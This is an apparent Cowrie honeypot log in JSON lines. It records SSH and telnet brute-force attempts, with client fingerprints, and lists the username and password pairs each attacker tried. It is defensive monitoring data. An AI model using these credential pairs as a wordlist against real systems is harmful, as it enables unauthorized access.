{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:36.619690Z","src_ip":"103.77.242.62","session":"d62ebf17803e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"06041985","message":"login attempt [root/06041985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:37.335097Z","src_ip":"103.77.242.62","session":"d62ebf17803e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:38.577889Z","src_ip":"103.77.242.62","session":"d62ebf17803e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58324,"dst_ip":"159.203.135.109","dst_port":23,"session":"8600ed40a8be","protocol":"telnet","message":"New connection: 170.64.224.25:58324 (159.203.135.109:23) [session: 8600ed40a8be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:39.356897Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":42164,"dst_ip":"10.17.0.5","dst_port":22,"session":"f550f0e3ca0e","protocol":"ssh","message":"New connection: 103.82.20.28:42164 (10.17.0.5:22) [session: f550f0e3ca0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:43.018193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:43.022024Z","src_ip":"103.82.20.28","session":"f550f0e3ca0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:43.293652Z","src_ip":"103.82.20.28","session":"f550f0e3ca0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc","message":"login attempt [root/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:44.110864Z","src_ip":"103.82.20.28","session":"f550f0e3ca0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:45.384742Z","src_ip":"103.82.20.28","session":"f550f0e3ca0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":34122,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d084f0912be","protocol":"ssh","message":"New connection: 5.182.83.231:34122 (10.17.0.5:22) [session: 1d084f0912be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:50.681099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:50.685112Z","src_ip":"5.182.83.231","session":"1d084f0912be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:50.799485Z","src_ip":"5.182.83.231","session":"1d084f0912be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xg123456","message":"login attempt [root/xg123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:51.270613Z","src_ip":"5.182.83.231","session":"1d084f0912be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:52.383232Z","src_ip":"5.182.83.231","session":"1d084f0912be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.750421047210693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:02.662717Z","src_ip":"170.64.224.25","session":"9d6f302a280f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":34250,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e0b6f15caad","protocol":"ssh","message":"New connection: 143.20.185.207:34250 (10.17.0.5:22) [session: 0e0b6f15caad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:12.370412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:12.374532Z","src_ip":"143.20.185.207","session":"0e0b6f15caad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:12.499846Z","src_ip":"143.20.185.207","session":"0e0b6f15caad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ8VCPU16GBAMD","message":"login attempt [root/XYZZ8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:12.883182Z","src_ip":"143.20.185.207","session":"0e0b6f15caad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:14.015310Z","src_ip":"143.20.185.207","session":"0e0b6f15caad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43192,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f1c8cc421b4","protocol":"telnet","message":"New connection: 170.64.224.25:43192 (159.203.135.109:23) [session: 6f1c8cc421b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:14.790085Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55388,"dst_ip":"159.203.135.109","dst_port":23,"session":"916597c75e2e","protocol":"telnet","message":"New connection: 170.64.224.25:55388 (159.203.135.109:23) [session: 916597c75e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:26.194809Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.86.192.66","src_port":38780,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d51c4c57d8f","protocol":"ssh","message":"New connection: 195.86.192.66:38780 (10.17.0.5:22) [session: 3d51c4c57d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:31.928300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:31.931969Z","src_ip":"195.86.192.66","session":"3d51c4c57d8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:32.160532Z","src_ip":"195.86.192.66","session":"3d51c4c57d8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qweasd123","message":"login attempt [test/qweasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:33.108860Z","src_ip":"195.86.192.66","session":"3d51c4c57d8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:34.340833Z","src_ip":"195.86.192.66","session":"3d51c4c57d8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":56501,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf13a6e90c6d","protocol":"ssh","message":"New connection: 223.197.186.7:56501 (10.17.0.5:22) [session: cf13a6e90c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:42.611916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:42.615426Z","src_ip":"223.197.186.7","session":"cf13a6e90c6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:42.897575Z","src_ip":"223.197.186.7","session":"cf13a6e90c6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1q2w3e4R","message":"login attempt [ubuntu/1q2w3e4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:43.870962Z","src_ip":"223.197.186.7","session":"cf13a6e90c6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57152,"dst_ip":"159.203.135.109","dst_port":23,"session":"5effa8594458","protocol":"telnet","message":"New connection: 170.64.224.25:57152 (159.203.135.109:23) [session: 5effa8594458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:44.577202Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:45.085214Z","src_ip":"223.197.186.7","session":"cf13a6e90c6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.187.11","src_port":40824,"dst_ip":"10.17.0.5","dst_port":22,"session":"333b1c6f797b","protocol":"ssh","message":"New connection: 167.172.187.11:40824 (10.17.0.5:22) [session: 333b1c6f797b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:45.999579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:46.003361Z","src_ip":"167.172.187.11","session":"333b1c6f797b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:46.086305Z","src_ip":"167.172.187.11","session":"333b1c6f797b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.91630244255066,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:46.273049Z","src_ip":"170.64.224.25","session":"8600ed40a8be","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"gd@123456","message":"login attempt [root/gd@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:46.453747Z","src_ip":"167.172.187.11","session":"333b1c6f797b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:47.539498Z","src_ip":"167.172.187.11","session":"333b1c6f797b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52804,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e7bd4dccf23","protocol":"telnet","message":"New connection: 170.64.224.25:52804 (159.203.135.109:23) [session: 5e7bd4dccf23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:47.834032Z"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":59808,"dst_ip":"159.203.135.109","dst_port":22,"session":"94220da6fb6b","protocol":"ssh","message":"New connection: 175.118.127.138:59808 (159.203.135.109:22) [session: 94220da6fb6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:48.022008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:48.028182Z","src_ip":"175.118.127.138","session":"94220da6fb6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:48.206381Z","src_ip":"175.118.127.138","session":"94220da6fb6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52812,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a0df0474d61","protocol":"telnet","message":"New connection: 170.64.224.25:52812 (159.203.135.109:23) [session: 4a0df0474d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:48.779147Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root%123","message":"login attempt [root/root%123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:48.956929Z","src_ip":"175.118.127.138","session":"94220da6fb6b","protocol":"ssh"}
